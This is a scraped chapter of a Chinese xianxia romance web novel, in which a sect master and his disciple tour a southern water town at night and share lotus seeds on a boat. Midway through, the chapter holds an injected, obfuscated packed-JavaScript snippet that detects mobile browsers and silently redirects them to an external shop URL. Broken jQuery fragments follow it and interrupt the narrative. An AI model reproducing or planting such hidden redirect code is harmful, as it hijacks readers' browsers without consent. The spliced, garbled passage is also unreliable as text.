文趣网 > 其他小说 > 和白月光师尊锁死后 > 18. 第十八章
    稍作整顿,众人相继下船。

    这才算真的到了南黎,也是谢逐月第三次踏足南黎。

    上回被警告过后,苏家人几乎很少再出房门,便是遇见了明月宫的人也都礼貌地行过礼再退开,到今日仍不敢凑到谢逐月面前来。

    不过苏洄还是在人群中悄悄回头看了好几眼,而后垂着眼便与青霓宗的好友先行下船。

    谢逐月带着江月照与明月宫弟子们下船时,祝二公子与等在岸边的祝家人便笑着迎上去。

    亲自来接他们的是祝家老家主。

    祝家家主是祝二公子的祖父,已有洞虚境修为,在谢逐月这位天人境巅峰面前是极客气的,稍低头三分,也得叫上谢逐月一声前辈。

    双方认识过,祝家主与搀扶着他的祝二公子便与他们介绍这座南溪城与南黎的基本状况。

    南黎众多势力中有两宗二十四门八十二城,几乎都出自昔年的离火盟,祝家也在其中。

    两大宗门月恒宗、雪阳宗隔江而治,南溪城位于江北,南溪亦是横贯南黎的離江分支之一,再往北数百里便是雪阳宗。那是南黎最北边,也是南黎少有可以见到雪的地方。

    眼力好的人,甚至可以在南溪城中远眺到雪山一角。

    稍微聊了几句,祝家主便邀请众人先入城中休息。

    “南溪城只是南黎八十二城之一,远不如月恒宗所在的月城与雪阳宗的飞雪城繁华,要先委屈诸位几日了。晚辈昨日已去信询问雪阳宗,待接风洗尘后,大抵回信便到了。”

    众人里修为地位最高的都是谢逐月,祝家主分明也是向谢逐月请示。祝二公子是在回南黎前被苏家找上门的,祝家人直到法舟进入南黎海域才收到与几家合作之事的信。

    祝二公子当时答应也是碍于这些中州贵客的身份地位。

    比如谢宫主,他要来南黎,本可以不管南黎宗门的。

    但中州的天人境强者到了南黎,雪阳宗定会有所忌惮。

    何况谢宫主似乎有事要与雪阳宗相商,这当中,便需要他们祝家牵线来做这个中间人了。

    祝家依附雪阳宗,有强大外客踏足本就该早些告知雪阳宗,帮忙牵线也不碍事,就是得小心些,所以祝家主才会亲自来接贵客入城。

    不多时,便到了梅园。

    梅园很大,可现在不是开花的季节,便有些光秃秃的,不如外面处处可见鲜花的水乡景色,唯有花园里盛放的各色牡丹能弥补一二。

    到地方后祝家人就识趣地告辞了,其他几家散去各自安置,明月宫一行人也入了院中。

    谢逐月道:“阿照与我一起,费长老,你们自去安置吧。”

    江月照闻声看来。

    谢逐月神态自然,“南黎湿气重,你若伤痛复发,需要有人贴身照看。在我身边,更安全。”

    江月照倒没什么意见,随意地点了点头。费长老也应了声,转头带着其他弟子去院中安置。

    见谢逐月没其他吩咐了,回头看了眼在院里疯跑的阿宝,余墨招手让他过来,便要回房。

    半个月闷在船上,今天可算能下地,刚刚又路过热闹的集市,阿宝兴奋得很,根本就不想回房,眼珠子兴奋地转了转便扑上谢逐月。

    “师叔师叔,可不可以出去玩?”

    余墨拉住他,“不行,天快黑了。”

    弟子们当中也就是江月照和阿宝这小屁孩敢这么跟谢逐月说话了,主要是蹭多了糖水,发觉谢逐月不会无端端凶人也就不客气了。

    说起出去玩,好些天没出门的江月照难得有些兴趣,谢逐月却摸着阿宝脑袋淡声拒绝了。

    “先回房歇会儿吧。”

    “不嘛!”

    阿宝撅了噘嘴,跟往日在他师尊面前一样拉着谢逐月衣袖撒娇,“阿宝想出去玩,我们出去玩吧,外面好热闹的,阿照师兄也去嘛!”

    他怕谢逐月不答应,又叫江月照。

    谢逐月不太会拒绝小孩子撒娇,又听他提到江月照,到了嘴边的话没说出来,看向江月照。

    “不先回房休息吗?”

    他还真犹豫了?

    江月照眼睛微微发亮,玩心上来学阿宝牵住他的衣袖撒娇,“不嘛,师尊,阿照也想出去玩。”

    谢逐月:“……”

    他顿了顿,无奈摇头。

    “罢了,去吧。”

    阿照想要,就依他。

    这是谢逐月一贯的态度。

    所以夜幕降临,华灯初上之际,明月宫宫主丢下众弟子,带着爱徒与三位亲师侄出门了。

    南溪城比天极山早入夏,气候也更暖和,这本就是一座建在水乡之上的千年古城,满城水墨画般的白墙黛瓦皆被四通八达的水路包围,放眼望去,多见乌蓬小船与藕荷。

    这边流行银饰和玉髓,服饰用色大胆鲜艳,而中州来的众人先前下船时就因为不同的服饰被不少南溪城百姓瞩目,当地人说话也不太一样,能听懂,就是腔调格外绵软。

    这座古城确实不如中州繁华,但阿宝是第一次离开明月宫到了中州之外,一路上哇声不断。

    连小白狗今晚都活跃起来,跟着众人走了一会儿,凑到江月照身边,爪子按了按他膝盖。

    江月照低头问它:“想自己转转?还记得回去的路吧?”

    谢逐月跟着看了一眼。

    小白狗用颇具人性的表情斜视江月照,仿佛在说,就那么几步路谁会不记得,把谁当狗呢?

    江月照笑了笑,摆手说:“去吧去吧,别玩到太晚了。”

    小白狗哼唧一声,毫不留恋地钻进了人来人往的夜市里,在前面疯跑的阿宝才留意到跑回来。

    “咦?狗狗去哪儿了?”

    余墨揉揉他脑袋,“自己玩去了,不是说要看皮影戏?”

    前面就有皮影戏看,不少人围在那边,阿宝得了他的准许,欢呼一声拉着两个师兄往前跑。

    江月照和谢逐月慢悠悠跟在他们身后,一路上饶有兴趣地打量着夜市上的摊子,有卖饰物的,卖花灯的,也有卖小吃甜汤的,江月照不觉得街上吵闹,反倒觉得悠闲。

    转过长街,便是桥头。

    一串串朱红灯笼高挂在拱桥上,照见桥下停泊的乌蓬小船,清亮的流水声哗哗融入夜市中。

    江月照站在原地不动了。

    谢逐月问:“怎么了?”

    江月照回头看他,完全睁大的眼眸金光闪烁,细白手指指向河边,一脸渴望,“想坐船。”

    谢逐月看了过去。

    江月照低垂眉眼,方才还明媚的笑容变得可怜兮兮,竖起一根手指,“就一会儿,好不好?”

    谢逐月:“……好。”

    他并没有拒绝的意思,金月湖到底与真正的南黎水乡不同,稍微玩一会儿还是不打紧的。

    江月照得逞一笑,一把拉住谢逐月衣袖往河边走去。

    余墨余光瞥见,回头叫了一声。

    “师叔?”

    谢逐月怔怔看着被江月照抓紧的衣袖,闻声才回神,“我和阿照出去一会儿,你们去玩吧。”

    两道白衣修长的身影一前一后朝桥头走去,前者笑意嫣然,一张脸在夜里都如发光似的格外艳丽夺目,后者平静淡然,犹如无暇白璧一般的清隽眉眼间却分明是纵容的。

    江月照在河边挑了一艘乌蓬小船,松开谢逐月的手,笑着问船家:“能带我们去转一圈吗?”

    船家被二人出色如谪仙的姿容晃了眼,一时没有应声。

    江月照想起来什么,朝谢逐月伸手,“师尊,要灵石。”

    “……好。”

    谢逐月悄然轻抚过衣袖褶皱,自袖中取出一袋灵石。

    江月照当然也有灵石,可他的储物戒里平时只是放点吃的喝的,其他东西都挤堆到一边堆成山了,他懒得去找。接过储物袋,江月照扬唇笑了笑便拿出一块灵石丢过去。

    “就在城里转转吧!”

    船家惊醒过来,连忙接过灵石应好。江月照将储物袋塞进储物戒里,一抬脚就要上船上。

    乌蓬小船浮在水面,不如平地稳,他刚上去身影也晃了下,谢逐月快步上前扶住他的手臂。

    “当心。”

    江月照笑着应好,任他扶着坐下。船家等他们都上来了就划船出发,不敢惊扰两位一看便知是今日祝家家主亲自去迎接的域外贵客。

    乌蓬小船安静地穿过夜市,在两岸灯火中前行,岸上喧闹人声渐渐远去,水声变得更清晰。

    江月照伸手感受了一阵河水自指缝间流过的感觉,掬起一捧清澈的河水,眸中似有几分怀念。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17754174|209486||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “我小时候喜欢下水玩,尤其爱坐小船一个人在江上漂,采些菱角和莲子尝尝鲜,然后在船上一躺就睡到天黑。那时候贪玩,每次哥哥找过来,都要拎着耳朵训我半天……”

    他垂眸望着水面上的明月倒影,唇边笑意变作叹息。

    “一眨眼,都这么多年了。”

    坐在窄小的乌蓬小船里,谢逐月脊背仍如青竹般笔直。

    听着江月照平静的含笑语调,他在船头灯笼微光下的半张脸晦暗不明,声音倒是轻柔温和的,“我在明月宫长大,几乎不曾游船过。”

    明月宫在中州西北群山深处,谢逐月又是自幼入明月宫修炼,确实没什么机会出去游玩。

    江月照眸光一转,甩了甩手中水珠笑说:“可是明月宫有这里少见的雪山,打雪仗也好玩。”

    他去年入冬时和阿宝林贺打雪,之后一宿都在发热了。

    病的时候说再也不打雪仗了,现在好了又觉得好玩了。

    谢逐月显然还记得此事,见江月照指尖盈着水珠,湿漉漉的,他取出一张干净的帕子递过去,“还是莫要贪玩,等你身体再恢复些。”

    江月照撇了撇嘴,接过帕子擦手,瞥见岸上有人在卖莲蓬,兴致上来叫船家划船过去买些。

    他出手大方,又是一块灵石入袋,船家动作也利落,不一会儿就抱着一大捆莲蓬回到船上。

    新采的莲蓬一个个饱满,散发着清香,江月照捡了一支,漂亮的眉眼一弯变成了月牙,“刚刚才说过小时候采莲子吃,转头就碰上了。”

    他剥莲子的手法很是熟练,不过由于太过着急,忘了去莲芯,等到扔了一颗莲子进嘴,尝到满嘴苦涩才反应过来,一张脸都僵住了。

    谢逐月道:“你体质虚寒,生莲子偏凉,不宜多吃。”

    “好了,就尝尝而已。”

    江月照不想自己一个人被苦到,快速嚼了嚼就咽了下去,笑眯眯地剥了一颗莲子送到谢逐月嘴边,“师尊偶尔也尝尝新鲜的莲子吧?”

    谢逐月看着他玉白的指尖,似迟疑了下才低头轻轻咬过莲子,而后快速退开,咬碎莲子后,一张清俊出尘的脸也不禁有过一瞬僵硬。

    “啊,坏了!”

    江月照嘴角忍笑,还轻蹙眉头,故作无辜,“忘记去莲芯了,师尊苦不苦,要不吐了吧?”

    他说着还伸手到谢逐月嘴边,作势要接。谢逐月眸光顿了顿,无奈摇头,慢慢吞下莲子。

    “给我。”

    江月照愣了下,“啊?”

    谢逐月没有生气,只是伸手接过他手中的莲蓬,如他方才那样剥出莲子,而后去掉了莲芯。

    但他自己并不吃,只是摊开手掌送到江月照面前。

    “你不是不爱吃苦?”

    江月照眨了眨眼,随即扬唇笑起来,拿起莲子扔进嘴里,“有糖水吃,谁爱吃苦谁吃去!”

    谢逐月摇头不语,只是默默剥莲子去莲芯,都给江月照吃了。江月照索性在他身侧躺下来,仰头欣赏两岸白墙间的星河明月,轻笑道:“南黎的月亮,好像是不太一样。”

    谢逐月手上一顿,将剥好的莲子攒到储物戒中取出来的玉碟里,低声问:“可是想家了?”

    这次,江月照没有应声。

    他少有的沉默让谢逐月眼底有些懊恼,“抱歉……”

    话还未说完,江月照忽然靠近过来,枕在他的腿上。

    谢逐月猝不及防,低头看来时正好撞入江月照眸中,雾蒙蒙的眸子深处点着灿金,眼底不是他以为的不悦,而是酝酿着坏水的笑意。

    “师尊,我这才刚从明月宫出来每几天,还想再玩一阵再回去,你就别催了,我要吃莲子!”

    谢逐月气息微顿,闭眼摇了摇头,便将莲子递给他。

    “少吃些。”

    剥都剥了不吃白不吃,江月照坐起来夺过碟子,一颗颗往嘴里扔,吃完才说:“那我要糖。”

    谢逐月微愕,“又吃完了?”

    江月照理不直气也壮,“师尊,这都过去多少天了?”

    他原本也想把第二罐糖赖给阿宝和小白狗,奈何这些天他基本都在房里,谢逐月是知道的。江月照也知道,谢逐月身上总是有糖的。

    他蛮横又笃定地朝谢逐月伸出手,“师尊,快给我糖!”